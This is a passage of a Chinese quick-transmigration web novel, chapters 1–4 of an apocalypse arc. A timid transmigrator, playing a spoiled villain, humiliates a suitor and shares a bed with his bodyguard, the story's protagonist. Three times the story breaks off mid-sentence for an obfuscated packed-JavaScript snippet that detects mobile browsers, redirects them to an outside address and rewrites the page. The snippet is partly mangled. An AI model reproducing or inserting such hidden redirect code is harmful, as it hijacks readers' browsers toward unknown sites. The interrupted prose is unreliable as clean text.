《热爱作死的炮灰[快穿]》 1. 末世篇(1) 烈日高悬,毒辣光芒照得塑胶跑道都发出滋啦细响,天热得恨不得把军训鞋的鞋底都烫化。 因此教官一喊“解散——”,清澈的大一新生们顿时一哄而散,顾不得去食堂抢饭,先钻进了旁边绿荫下躲避扑面而来的夏日热浪。 当然,还有一个重要原因。 新生们猛灌冰矿泉水的时候,目光总是不经意地、默契地往某处飘去,目光汇聚的终点,站着一位相当漂亮的……男生。 他们艺术学院新晋的院草,齐疏月。 新生统一的军训服是非常常见的松绿色迷彩服,不至于难看到可入选“奇葩军训服笑话大赏”,但也绝对算不上好看的那种。俗话说人靠衣装,这过于土里土气的形制和配色,能让再漂亮的美人都失色不少。 可在这样重重debuff叠加之下,在目光焦点处的齐疏月还是非常出挑的好看。 和旁边晒黑了不止一圈的男生比起来,他肤色极白,连日来的军训好似没对他造成什么影响,仍一团雪似的,仿佛在微微“发光”。在这样的夏日里,光看着都让人觉得心旷神怡的舒爽。 此时齐疏月摘下那顶松绿色的迷彩帽,被扎成小揪揪的银发顿时滑落下来,配合他优越的五官,那近乎凛冽的美貌在人群中更加显眼了,身上那身军训服都被穿出了高定既视感。 一直有人觉得齐疏月同学是混血,十有八九归功那一头太过自然的银发了。虽然有人去问过,齐疏月说那是漂染的。 总之能让饥肠辘辘的大学生们硬是驻足在这,只为了能多和他多“相处”一会,那显然很能说明齐疏月外貌上的杀伤力了。 在这个前提下,有人过来告白其实也是非常常见的风景。但齐疏月的同班同学们还是发出了有些微妙的“嘘”声,鼻子不是鼻子眼睛不是眼睛地觎着那人,和看见了来盗宝的老鼠差不多。 来人是体院大三的学长,孟向文。他挡在齐疏月的面前,高高壮壮的,影子都能将齐疏月整个盖住了。只是与他横冲直撞的体型不同,学长人看上去挺腼腆的,低着头,古铜色的肤色也掩不住脸上乱飞的淡红。 他也不敢直接盯着齐疏月看,眼神乱飘地递过来一封喷了香水、包装得严严实实的粉色信封。 很显然,那是封情书。 “齐、疏月同学,”虽然直接递了情书,但孟向文语气却很含蓄,“中午能不能请你吃饭?” 开学没几天,找齐疏月告白的同学其实不少,甚至还有老师——这个就不太好拿明面上说了。但对于同龄人,齐疏月一般拒绝得都很礼貌,很一视同仁。 偏偏今天不知为何,或许是天气实在热得人焦躁,又或者类似的示好太过没完没了,齐疏月轻轻“啧”了一声,眉头蹙起,语气很不高兴地问:“你非要一直缠着我吗?” 好像连蝉鸣都寂静了下,附近看热闹的学生第一次看见齐疏月生气的模样,大气不敢出。而孟向文也一下怔住了,神情无措。 “我直说吧。我不喜欢男的。”齐疏月停顿了一会,面无表情地说,“变、态。” 少年此时又微微倾身,靠近了一些,和那张漂亮的脸蛋一同凑过来的是身上极淡的香气,柔顺的、未被扎起的银发也跟着滑落下来。 孟向文看他接近,心神失守之下,和石化了似的呆在那里,心脏都要从喉咙里跳出来。 明明刚才还被骂的回不过神,但这会错觉之下,又几乎以为那是个拥抱。 但齐疏月当然不可能抱他,只见两根修长漂亮的手指抽.出了孟向文手中的情书,随手撕成几片洒在空中,齐疏月淡茶色的眼又瞥了他一眼,扬长而去。 孟向文一脸失魂落魄,几乎快站不稳了。 他的好兄弟上前扶住他,脸色有些许忿忿,偷偷抱怨:“不是,怎么就你是变态了,向他告白的男的又不止你一个?” “算了、算了!”有人劝架。 “毕竟长那样,”劝架的人小声说,“脾气大点也正常么。” “……”无言以对。 齐疏月感觉到那灼热目光落在自己背后,脚步都下意识更快了——说真的,他有些怕被打,毕竟对方拳头都快比自己脸大,一看就很能打。 不过他没走出几步,就看见自己的“保镖”从远处快步赶来,顿时松了一口气,步伐又慢吞吞起来了。 保镖手上还拿着瓶鲜榨的西瓜汁,齐疏月伸出手,他便将瓶身上的冷凝水擦干净了,递过来。 齐疏月抱怨道:“你怎么才来?我都快热死了。”其实是快被人吓死了。 他数落的这样顺嘴,好像忘了在先前临时说想要喝冰西瓜汁,让人跑到另一侧的南校门买过来的人不是自己那样。 保镖声音冷淡,却是在道歉:“对不起,来晚了。” 齐疏月哼哼唧唧:“这次不和你计较。” 他喝了一口西瓜汁,或是在烈日下晒化了,西瓜汁没那么冰,但齐疏月还是露出了被捋顺毛的幸福表情来。 让齐疏月放松的其实不止这点。此时,他视线忍不住地偷偷瞥向面前漂浮的半透明系统面板—— [炮灰作死提示一:在众目睽睽下,羞辱重要男配孟向文。] 已完成。 就是还有点心虚。 齐疏月纠结地咬了咬吸管。 今天的这一切,都是齐疏月故意安排的。 孟向文私底下就给齐疏月发了短信,用词很礼貌,问能不能给他一个作为追求者的机会。 当时炮灰提示刚刚触发,齐疏月还在苦恼这个任务要怎么完成,看见短信,立即眼睛都亮了,知晓这就是剧情安排给他的“时机”。 立刻给孟向文回了短信,让他在人多的时候向自己告白,再给他一个答复。 答复确实是给了,但却是狠狠拒绝他的答复。 齐疏月也觉得自己有点缺德,他原本以为这种钓鱼行为就够羞辱了,但直到他骂出“变态”两个字,任务才算完成,看来不能太摸鱼划水。 这就是他作为一名恶毒炮灰的使命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960857|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没错,齐疏月其实是一名任务者,也是“新生位面发展局”的新晋员工。 发展局的主要使命就是观察那些在演化过程中碰到障碍,无法顺利发育的小世界。帮助其人工推进演化进程,成为能自行运转的新位面。责任重大。 负责带齐疏月的老员工用地球位面的理解,通俗易懂地解释了下他们的任务内容:把小世界当成一本小说,主线剧情进展成功就能让世界继续演化。 老员工人很好,看出齐疏月紧张,还给他做心理疏导:虽说他们的使命是神圣的,但齐疏月只是来做开荒的第一步。世界发育需要经过无数员工一代一代的传承推进,才能让其真正演化成熟,所以不用觉得担子太大,先适应一下工作内容就行。 因为齐疏月是新人,分配的任务难度当然不会太大,角色定位就是“热爱作死的炮灰”,必要时刻需要“降智”,来推动阻塞剧情的发展。 只要不崩人设,合情合理地下线,在完成任务后还能获得高额奖金和长达一年的假期。 齐疏月表示明白,甚至暗自庆幸……作死炮灰啊,一听戏份就不多,早点走完剧情就能下线了。 不止是单纯不想上班,更重要的是身为新人,齐疏月虽然被适当地照顾了,但仍不能主动挑选世界类型。留给齐疏月的,都是些很少人愿意去的高危恐怖世界。 而齐疏月正好有个微不足道的缺点—— 他的胆子其实非常小。 怕鬼、怕怪物、怕一切恐怖故事。 甚至害怕到了父母带齐疏月去看心理医生,发现齐疏月只是天生对“恐惧”感知敏锐,其他方面不会有影响,也并非有什么阴影后才放心。 因此胆小这一点在过去的十八年里,其实没对齐疏月造成太大麻烦,不管亲人还是朋友,都很贴心地照顾他这一点。比如从来不拉他参加恐怖主题游戏,会避开他讲鬼故事,甚至天黑了朋友们会轮流送他回家。 但在接下来执行任务的过程中,碰到灵异恐怖元素几乎是无法避免的,也没人能帮他了。 就算这样,齐疏月也没办法拒绝入职发展局的待遇。 他想要回家。 齐疏月在心里又叹了一口气。 这个世界的开局看上去很正常,给了他很长的适应时间。但齐疏月很清楚,这里迟早会变成人间炼狱。 他这次的任务世界……是“末世”主题。 也是因为这样,普普通通得罪一个同学,其实算不上“作死行为”,哪怕遭人记恨,但依照自己这个身份的家世背景而言,也不算太值得烦忧的事。 谁会想到在不久后末世降临,原本的社会秩序崩塌,以往能作为倚仗的身世再不值一提。而曾经被他当众羞辱的重要男配孟向文,却觉醒了强悍异能,甚至成为了占据一方的大佬。 孟向文也一直记得曾经齐疏月对自己的羞辱。因此拒绝这个人品不佳的恶毒炮灰加入自己的队伍,甚至拒绝和所有愿意接纳齐疏月的势力合作。 人,不作不死啊。 2. 末世篇(2) 齐疏月这么感慨着,但还是要继续作死的。 他和保镖一同回了宿舍。这会到了饭点,齐疏月还没开口,就见保镖取出了先前管家送过来的午餐食盒。四菜一汤一甜品,依次排列在眼前。 齐疏月乖乖坐下来用餐,但只寥寥动了几筷子就不愿意继续吃了。 刚喝了果汁,有些占胃,齐疏月食欲也不高。 于是他光明正大地将饭菜推向另一边:“观野,帮我。” 他的保镖——也就是观野看他一眼:“你说正餐前喝果汁没影响。” 齐疏月心虚:“……今天没胃口。” 观野又看了他一眼,没说什么,风卷残云地将剩下的食物解决了。 这也是他们这些天养成的习惯。 齐疏月在这个小世界中的初始设定,家世是非常好的。高中念的就是贵族学校,哪怕各方面基础设施包括食堂口味都很出色,但他那对几乎算得上溺爱孩子的家长,还是一直让家中最合齐疏月口味的厨师团队下厨、管家送餐,一直延续到大学也是如此。 原本的阵仗其实更夸张,如今的规模已经是精简后的结果,齐疏月怕再提要求会和自己的人设冲突。 齐疏月不喜欢浪费食物,所以那段时间每一顿都吃的非常辛苦,也不知道观野怎么观察出来的,忽然有一天说:“吃不下就给我。” 齐疏月当时还懵着,怔怔抬头看着他。观野当他答应了,拆了双新筷子,面容平静且速战速决地清盘了——那架势让齐疏月怀疑其实他这段时间从没吃饱过。 总之这事稀里糊涂地发生几次后,齐疏月觉得这样解决也不错,不过改改形式,决定今后就和观野一同用餐好了。反正他吃不完家里送来的食物,那份量充作两人餐也绰绰有余……总不好一直让人吃剩饭吧? 结果观野冷冰冰一句“不合规矩”顶了回来,气得齐疏月只觉他不识好人心。 反正在观野心底,他就是那种霸道蛮横的少爷,只会欺负欺凌弱小(?)。齐疏月臭着脸想,本来也没关系亲近到那地步,不要就不要。 只不过后面每次用餐的时候,齐疏月还是会提前划分好一片区域,好不去“弄脏”其他位置的食物,再作作地说一声“吃不下了”。 观野的食量也一直是个谜,不论齐疏月剩多剩少他都能很轻松的解决。齐疏月后面好奇问他到底吃饱没有,观野就点下头,“嗯”一声,好像多说一个字都欠奉。 怪冷淡的。 但除开工作态度上不甚热情这点,观野也的确是个很合格的保镖。 他是齐疏月妈妈那边派来的人,身手极好,背景神秘。年龄其实只比齐疏月大两岁,但阅历十分丰富,据说是某个特殊地区因伤退下来的雇佣兵,从前接的都是各类高危任务,常年游走在生死边界,欠了齐妈妈的人情,才愿意来做这种照看小孩的活计。 为了能合理跟进这所高校,还特意走了特殊渠道做交换生。按理来说也是体育学院那边的学生,不过就没见观野去上过几节课,全跟在齐疏月屁股后面走了,连着生活助理的活都一并包揽,不仅负责保护齐疏月的人身安全,还负责给小少爷铺床叠被、端茶送水,处处照料妥当,简直就是当代的十佳保镖——不过对于齐疏月而言,更关注的,还是观野的另外一重身份。 这会齐疏月没胃口吃正经饭菜,却把饭后甜品的烤布蕾端走了,此时叼着个小勺偷觑着观野,盘算着什么。 在“剧情”当中,观野比孟向文还要重要。 孟向文是男配,而观野—— 是这个小世界的主角。 他的设定是身负重重秘密、苦大仇深的龙傲天型主角(至于是什么秘密,因为齐疏月基本不会活到那时候,所以指引系统并没有透露)。 少年时期忍辱负重,藏锋守拙,接下了保护有钱人家小少爷的任务,从此过上了庸庸碌碌的平淡保镖生活(齐疏月:其实年薪还挺高的,算不上“庸碌”吧?)。 当然,这个剧情中出现的小少爷的人选也不作他想,就是齐疏月就对了。 依照齐疏月的娇惯程度来看,得罪观野几乎也是顺理成章的事,也很符合他作死炮灰的身份。 一直到末世来临,观野的命运才骤然转折,他爆发出了旁人难以匹敌的强大异能。 在秩序崩塌的末日,观野已经完全可以不理会曾经的雇主小少爷了。但身为男主这样的正面人物,观野不是会过河拆桥的性格,还是恪尽职守,以至于让齐疏月狐假虎威地蹦跶了有一段时日,也引发不少剧情的推进和爆发。 直到观野看清了齐疏月不知感恩的真面目,失望不已,最后还是放弃了他。 齐疏月别说在末世中求生了,就算是和平时代,没了家世都很难自立,很快就自食其果火速下线了。 从这点看,可以发现齐疏月得罪的显然不止孟向文一个男配,不过孟向文算是其中重要的一环。 孟向文前期几乎表现出了能和观野分庭抗礼的力量,要是能联手对敌,都能平推前期的所有地图了。偏偏齐疏月横插在中间,孟向文记恨齐疏月,自然也对甘愿做齐疏月“走狗”的观野很看不起,两者根本没有合作的可能。 但后面观野放弃了齐疏月,且他和孟向文虽有摩擦,却也一直没有本质上的矛盾。观野甚至很能理解孟向文,对方也只是被齐疏月给欺负过的倒霉人,有怨气也是应该的。 两人很快便解开误会、一同打怪,孟向文成了观野最强悍得力的副手,也是最好的兄弟之一。 总之在剧情开始,两人因为齐疏月当了一段时间的敌人,也在后面,因为齐疏月成了惺惺相惜的朋友。齐疏月这个炮灰夹在中心,显得还怪重要的。 这时候的齐疏月,已经开始暗搓搓让观野记住孟向文这个人了——这个可以说是和观野同命相怜、被自己折腾的苦命人。 “你们体院,和你同专业同年级的,是不是有个叫孟向文的人?” “不清楚。”观野说。 他见齐疏月猫一样圆滚滚的眼睛一直盯着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960858|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像在催促他说更多的话那样,默了一下,才又补充:“我不认识。可能不是一个班的。” 其实就算是一个班的你也不见得认识吧?又没见你去上过几次课。齐疏月暗暗腹诽,但话匣子总算是打开了,齐疏月用像是抱怨的口吻提起,“哦,那你要是见到他离远一些,他搞不好会迁怒你。” 观野:“?” 齐疏月还叼着甜品勺子,笑咪咪凑过去,双手撑在已经收拾干净的小桌板上,以一种俯视的姿态和观野说着话,“我耍了他一顿。” 观野:“……” 虽然观野不接话,但齐疏月还是自顾自说了下去:“他昨天用短信向我告白来着,烦死了,我看上去像是会喜欢男生的样子吗?” “所以我没有拒绝他,让他在人多的时候再来一次——” 齐疏月轻笑了一声:“他真的来了。” 难得的,齐疏月看见观野那张英挺出色却总毫无波澜的脸上,很轻地皱了下眉。 果然,观野也觉得他很恶劣,很同情被戏耍的孟向文吧? 齐疏月一鼓作气地继续道:“然后我就当着其他同学的面拒绝了他,还骂了他变态。唔,不知道他会不会怀恨在心,应该会的吧?” 观野:“……” 观野:“我知道了。” 这下轮到齐疏月头顶冒出一个“?”了。齐疏月情不自禁问:“你知道什么了?” “他可能会纠缠你,很危险。”观野冷静地描述,“我会注意不让他靠近你。” 齐疏月:?? 纠缠这个词是这么用的吗? 齐疏月干巴巴地应了一声,觉得有些索然无味。不过这也应该属于在主角心里留下关于男配的印象了吧? 目的达成,齐疏月继续回去啃他的布蕾。但让他没想到的是,观野居然十分罕见地、主动开口和他聊天了。 “那个孟向文——” 观野声音依旧冷淡,只不过齐疏月和他相处久了,还是能发觉观野的语速似乎都比平时更快了一些。 “很特别吗?”观野问。 “?” 齐疏月一时没反应过来,“你怎么会这么问?” 重要男配当然是比较特别的——这个时候,观野就察觉到孟向文的异于常人了吗? 还真是主角的可怕直觉啊。 “……”观野,“你以前碰到类似的人,都会直接拒绝。” 偏偏对着孟向文,还特意“戏耍”了一番。 齐疏月短促地“啊”了一声,他做任务的时候会比较谨慎,但对平时人设的维护可能不到位,不过这也应该不算崩人设吧? 齐疏月飞速调出任务面板瞥了一眼,没有违规提示,衡量单位扮演值也依旧是满分,这才放下心。又故意恶声恶气地对观野道:“我就乐意这样。你只是个保镖而已,负责保护好我就好了,少管我。” “……嗯。” 观野垂下眼,漆黑冷淡的瞳孔里,映出几分晦暗不明的阴翳。 3. 末世篇(3) 或许是那天对孟向文的恶劣态度有目共睹,让不少人心有戚戚,这段日子以来,齐疏月接收到的表白的确少了许多——至少当面表白的没了。至于邮箱里塞满的那些炙热言语,都被归类到了拦截陌生邮件的垃圾箱里,齐疏月也没注意。 他的大学时光十分枯燥,齐疏月没加任何社团,也拒绝了让他当班委的推选,每天除了上课外就是待在宿舍摸鱼,出乎意料的……宅。 不少人都觉得,齐疏月长成那副模样,应该属于大学生活非常丰富的那类型。 其实齐疏月只是在紧张地等待剧情开始而已。 某一日,观野给他买的饮品换成了热饮,齐疏月漫不经心地咬上吸管,听着观野提醒他“小心烫”的时候,忽然意识到末日的节点已经到来了。 系统并未明确提及末世降临的时间,只能确定剧情正式开始、丧尸潮爆发,是发生在他大一学年的某个深夜里。 而末世来临初期,气温会异常寒冷。 各地开始出现黑雾、黑雨、黑雪,异象越明显的地方,在末世后就越容易成为高度污染区。 大批人变异成丧尸,部分人安然无恙,极小部分的“天选之子”激发了异能。 今年气候一直很古怪,夏天开始,一连热到了十二月,没有丝毫会“异常寒冷”的预兆。 偏偏这周内就气温骤降,风刮来和下刀子似的,冷的学生们纷纷翻箱倒柜出棉服,抱怨气温计简直变成了跳楼机。 没人能想到日后的翻天覆地。 但就算如此,现在学还是要上的。 齐疏月每天被从被窝里挖出来的时候都很痛苦——有什么比知道世界末日快要来临,而为了不表现出异样,还要按时在酷烈寒风中准时上课更痛苦的呢? 他实在有些怕冷,出门的时候将自己包裹得严严实实,头上戴着顶(观野挑给他的)毛绒绒的猫耳帽子,和帽子一体的围巾也将下半张脸遮得密不透风。观野怕他看不见路能摔着,所以一路上都牵着他走。 偶尔路上撞见人,似乎都会停下来仔细观察下他……或许是没见过能这么怕冷的人。 齐疏月隐约听见有女生经过,嬉笑着说“可爱”、“猫猫”什么的,还有些纳闷地到处看:猫?哪里有猫? 他也蛮喜欢猫,想趁机摸一下,但还没找到,就被观野拉着快步走向教学楼了。 都说黎明前夕最难熬,但知晓黑夜将降临的黄昏也实在不逞多让。 因为心里藏着事,齐疏月这几天有些无精打采,上课时很难得地睡过去了。下课铃响起,他才从观野的肩膀上抬起头,有些困倦得揉眼睛,忽然听见观野在耳边问:“要不要回家?” 齐疏月简直是惊醒,什么困意都没了:“回家做什么?” “想要去旅行散心,也可以。” 齐疏月更慌了,剧情即将开始,他要是乱跑去旅游那不就乱套了,一连说了几句不要,才狐疑看向观野:“你、观野,你是不是想要请假?” 要不然为什么明里暗里地要甩脱他——但在这个关键节点,绝无可能!齐疏月坚定地想。 观野:“……” 观野说:“你最近不太高兴。” 齐疏月没想到自己竭力装作寻常,还是有些情绪外漏被察觉了,支支吾吾:“没有啊。” “是因为孟向文吗?”观野冷不丁询问,他那双黑眸望过来,寂静同一潭黑水般,看着其实有点瘆人,紧接着说:“他真的不来找你了。” 这话题实在跳跃得让人摸不着头脑,以至于这会齐疏月疑惑了更久,才轻轻“啊”了一声,又否定了一次:“和他没关系。” 观野停顿了一下,说:“算了。” 算什么? 齐疏月不免腹诽他,观野怎么这么谜语人。 这会天冷,一开口仿佛都有寒气钻入体内,齐疏月不愿多说话。他还记着观野早上不让他摸猫的仇,这会又被观野莫名其妙地“吓”了一通,也有些生气,索性也不理观野了,一直到晚上回寝室,齐疏月都没和他多说一句话。 直至夜半,齐疏月被冷醒了。 他和观野住的是校内的双人寝,之所以不外宿,明面上理由是大一新生不允许外宿,但实际上是他爸妈觉得齐疏月从小到大朋友太少人太孤僻,希望他能体验一些正常的校园生活,顺便交交朋友之类——当然这一点期望明显落空了。 遮挡的帘帐外,晃动着隐约的光束。齐疏月揉着眼睛起身,披上一件挂在旁侧的睡衣,睡意朦胧地喊:“观野。” 一边喊,他一边掀开了帘帐,看见观野踩在凳子上,口中叼着一支手电筒在搬弄些什么,听见声音回头,那手电筒还晃了齐疏月一下。 齐疏月见观野的造型,莫名其妙地觉得有些好笑。他问:“你在做什么?” “停电了,空调也停了。”观野说,“外面在下雪,冷不冷?” 齐疏月反应有些迟缓,坐在被窝里乖乖点头,“嗯。” 他这会才反应过来——等一下,下雪了? 想到末世前会出现“黑雪”的征兆,齐疏月一下清醒不少,面容都显得微微发白。 在观野看来,这是将人冻狠了。 他微微皱眉,难得话多起来:“不知道什么时候来电,下半夜会更冷。让司机来接你回家,或者我们出去找酒店睡一晚?” 齐疏月回过神,第一时间就是拒绝:“不行。” 他不好离开学校,万一剧情正好开始了怎么办? 齐疏月又顿了顿,声音放软许多,像带着含糊的睡意那样:“困,不想走。” 观野:“我背着你。” 齐疏月:“那也不要,外面太冷了,我都要被冻醒了……凑合睡一夜好了。” 观野没出声,似乎默认了。齐疏月慢吞吞地窝回被子里,实则满腹心事,根本也睡不着,然后就听见了轻微的开关门声。 齐疏月:“??” 齐疏月几乎不敢置信地喊了声:“观野?” 观野的确不在。 这算什么?齐疏月简直要被他气死了,不过被他拒绝两次而已,就大半夜离寝出走,观野、观野脾气太差劲了。 尤其是平时就算了,虽然观野是他的保镖,但校园内基本没什么危险可言,走就走了。 现在却是末世将临,万一,就是在今天的夜里…… 齐疏月因为下雪的事,本就有些心绪不稳,此时发现寝室空荡荡地只剩自己一个,越想越害怕,整个人都藏进了被褥里,控制不住地,身体轻微颤抖着。 他的胆子真的很小。 哪怕只是想象,神经都已经紧绷到极致了。 说着做好了准备,等待末世剧情开启,但齐疏月其实根本没想过真正面临那些怪物时要怎么办。他连鬼片都没怎么看过,刚成年就骤然被投入进这样一个高危世界当中,又怎么可能不惶恐。 好害怕…… 齐疏月慢慢蜷缩成一团,是很没安全感的姿势,眼睫湿润沾着雾气,眼眶也开始微微泛红了。 就在此时,齐疏月听见了门锁转动的声音。 他的身体都一时紧绷起来,想象中可怕的丧尸怪物俨然要登堂入室了,只是齐疏月在紧张中又反应过来什么,轻声问:“观野?” “你醒了?” 齐疏月一下掀开帷帘,将枕头扔过去,正好砸在观野的身上。 观野也没躲开,毕竟他这会一抬眼,看见的就是齐疏月红着眼眶看向他的模样。心中微微一窒,那张英俊却冷硬的脸上第一次出现类似于无从下手的神情,他快步上前,手握在爬梯上,仰头看着齐疏月,好像下一秒就能利落地翻身上床那样。他第一句话是问:“我吵醒你了?” 第二句话则是皱着眉,视线从齐疏月微微发红的眼睛上掠过,手上青筋突起,声音有些滞涩地问:“做噩梦了,还是发生了什么事?” 齐疏月看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960859|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观野那张面容骤然拉近,怔了一下,心绪总算慢慢平静下来。也意识到自己的反应太大了,简直不合常理。他偏开头,还是用很恼怒的口吻道:“还不是怪你。” “你脾气怎么这么坏?说你两句而已,大半夜你就直接走了,把我一个人扔在寝室。”说着说着,齐疏月鼻梁又有些发酸了,他飞快地眨了眨眼,压下泪意,“我一个人,碰到危险怎么办。” “不会有危险。”观野飞速回答,“也没有扔下你……对不起。” 观野道歉了。 他很郑重地说:“我怕你睡着了,所以出去的时候没告诉你。对不起,不会有下次了。” 齐疏月正要追问他大半夜出门做什么,是不是借口,观野就很自觉地将左手上的东西拎上来:“去找这个了,晚上冷,你拿着应付下。” 观野手上拎着的是那种非常老式的、注热水式的热水袋。颜色老土,散发着一股不大好闻的塑胶味,但是是全新的,很暖和,甚至暖和得有点烫手了。 在普遍用电热水袋的如今,都不知道观野是怎么找到这玩意的。 观野又找了一层绒布套,勉强套上才递给齐疏月,叮嘱他:“小心烫伤。” 齐疏月怔怔接过热水袋,夜间寒意好像真的被驱散了些,拿人手短,他也不好意思继续折腾观野了。眼睫上还挂着一点淡淡雾气,很呆地说了声“哦”,抱着热水袋,重新缩回被窝里。 其实说冷,也确实没那么冷,鹅绒被轻而保暖,也就是暴露在外面的脸颊被冷空气刺痛着,拿着热水袋贴在脸上,能感受到一丝丝熨帖。 但齐疏月的确睡不着了。 他也很清楚,不是冷的,是末世即将到来的恐惧让他难寐。 就像人在寒冷时会本能地靠近火源,在朝不保夕的情况下,齐疏月也本能地想要靠近强大的存在。他清楚观野能很轻易地扭断那些丧尸的脖子,只要在他身边,就是绝对安全的—— “观、观野。” 齐疏月小声喊他。 “怎么了?” 观野似乎没睡着,很快回应了他。 “还是冷。”齐疏月开口的时候,自己都觉得自己作,脸难得有些不好意思地泛红了,在观野回应之前,先语气很软、小心翼翼地询问,“我、我能不能和你一起睡啊?” 观野:“………” 观野:“……不方便。” 没同意,但也没有直接拒绝他。 齐疏月对于说服观野,还是很有经验和信心的。 借着阳台外映过来的月光和手机灯光,齐疏月抱着热水袋爬下床,可怜兮兮地开口:“不会的观野,我睡相很好的,占不了……只占你一点点位置。” 他们寝室是标准的上床下桌,但住宿条件尚可,床铺其实有1.5米宽,睡下两个男人也不算太勉强。 齐疏月想到,观野应该也很介意自己的床被他人入侵——这种完全的私人领地,的确少有人能容忍和旁人共享。就连齐疏月自己,如果不是特殊状况,这会也不会来和观野睡一床。所以齐疏月短暂思考后,又勉勉强强退了一步:“你、你过来我的床上睡也行。” 观野:“……” 观野不答话,齐疏月只能继续站在下面。他踩着棉拖鞋抱着热水袋,只披了件猫咪款式的睡袍,图方便没套上厚衣服,丝绸款式的定制睡裤柔软贴身,却也很单薄,根本不抗冻。阳台外的光映过来,齐疏月就这样沐浴在月光下,银发散落在肩头,看上去简直像是被抛弃的银毛流浪猫那样可怜,还瑟瑟发抖,很小声地说:“好冷啊……” 观野在下一秒开口:“上来。” 这话听着竟有些咬牙切齿,但齐疏月才不在意,他目光微亮,脱掉拖鞋顺着扶梯就往上爬。 观野打开了手电筒,伸过一只手让他小心一点,齐疏月很自觉地就将热水袋递了过去,让他拿着。 观野:“……” 齐疏月已经爬上来了。 4. 末世篇(4) 齐疏月想,观野平时除了爱吃他剩饭外(x),人还是很爱干净的。床铺透着在大太阳下暴晒后留下的被烤热的、干燥的暖香,所以齐疏月躺下也没什么负担,只穿着单薄的睡袍就一哧溜往里钻。 观野说:“你睡里面。” 齐疏月想,里面好,里面更有安全感,丧尸来了都有观野挡着。于是很自觉又往里面一滚。 被蓬松的被褥,稳稳包裹着了。 齐疏月之前借口太冷来和观野一起睡,其实不过是太害怕了。但他此时躺下来才发现——观野的床上真的很暖和啊! 哪里都暖洋洋的,像是被火烘烤过一通。而观野躺下来的时候,齐疏月才发现他体温微高,像是在持续性地散发着热度,哪怕齐疏月这种容易手脚冰凉的体质躺在他旁边,都能很轻易地被传递过来的热度熨的暖和起来。 齐疏月有些想让观野再靠近一点,但考虑到已经很麻烦人家了,哪还好意思继续让观野和自己贴贴,只能心不甘情不愿地闭上了眼睛。 这种稍微高出人体平均温度的氛围太适合睡觉了,也或许是出于对主角武力值的信任,齐疏月紧绷的那根弦终于松懈下来,他很轻易地陷入了梦乡中,脸颊埋进了绵软的枕头里,发出均匀的呼吸声。 像齐疏月说的那样,他睡相很好,也的确只占了很小的一片区域。 观野却没那么好眠。他闭着眼睛,但过于敏锐的感官让他能很清晰地意识到身边躺着个人,属于齐疏月的气息——那股极淡的、又好像有点好闻的味道仿佛已经浸染了整个床铺,也不可避免地扰乱了观野的嗅觉判断。 像是具有很强的入侵性,但偏又很招人喜欢,让观野无从抵抗。 明明以前也靠得这么近,但观野却从未如此心神不宁过。 他有些想要去浴室冲个凉,但怕吵醒齐疏月,也只能作罢,依旧紧闭着眼睛,准备度过艰难一夜。 他的“安全距离”内有旁人存在,观野以为,自己一定是难以入眠的。 但或许是脱离从前的环境太久,他的警惕性有所下降,最后竟也莫名其妙地睡着了。 等到一夜天亮,观野醒来后,第一反应是察觉到身边有人,身体立即调整到随时可爆发的应战状态。第二反应—— 观野:“……” 他才发现,他和齐疏月以近乎是手脚交缠的姿势睡在了一起,齐疏月背对着他,但身体几乎都陷入在他怀中……这样的形容其实也不太准确,因为观野的手臂正牢牢地环抱着齐疏月,将人拥得很紧,光从姿势上判断,更像是他将人强行锁进怀里的。 身体无比贴近,几乎要楔合在一处。而清晨的生理反应又很难以抑制,观野察觉到自己的那处正很坚硬地抵在齐疏月柔软的腿缝之间,纵使他先前在很多极危险的场景中,达成过许多非常精彩的临场应对——但这些经验里,绝对不包含今天早晨类似的场景。 以至于哪怕是观野,也在那瞬间大脑宕机,僵硬地维持着这个姿势。 齐疏月偏偏在这会醒了。 齐疏月平时醒的其实没这么早,但今天就是如此巧合。 观野下意识地闭上眼装睡,心跳活蹦乱跳得有失以往的潜伏水准,如果不是齐疏月没受过专业的训练,早该发现他在装睡了。 太早了,闹钟也没响,齐疏月懵了有一会才逐渐清醒过来,发现自己很尴尬地和观野睡到了一起。 不过他对自己睡进观野怀里这事没什么太大反应,只觉得怪不得昨天睡得那么暖和。又轻声轻脚地准备从观野怀中钻出来,大腿根部好像被什么蹭了一下,才有些茫然地掀开被褥,轻轻回看了一眼。 齐疏月:“……?” 观野:“……” 齐疏月:“嘶……” 齐疏月看了眼就收回视线了,目光和被火燎了似的,还怪不好意思的,无意中就看到了观野的隐私。 他也没怀疑为什么平时都是观野负责喊他起床的,今天却没动静,还以为是自己这天醒得早的缘故,想到昨天观野的让床之恩,也不闹腾,自己去洗漱间准备刷牙洗脸。 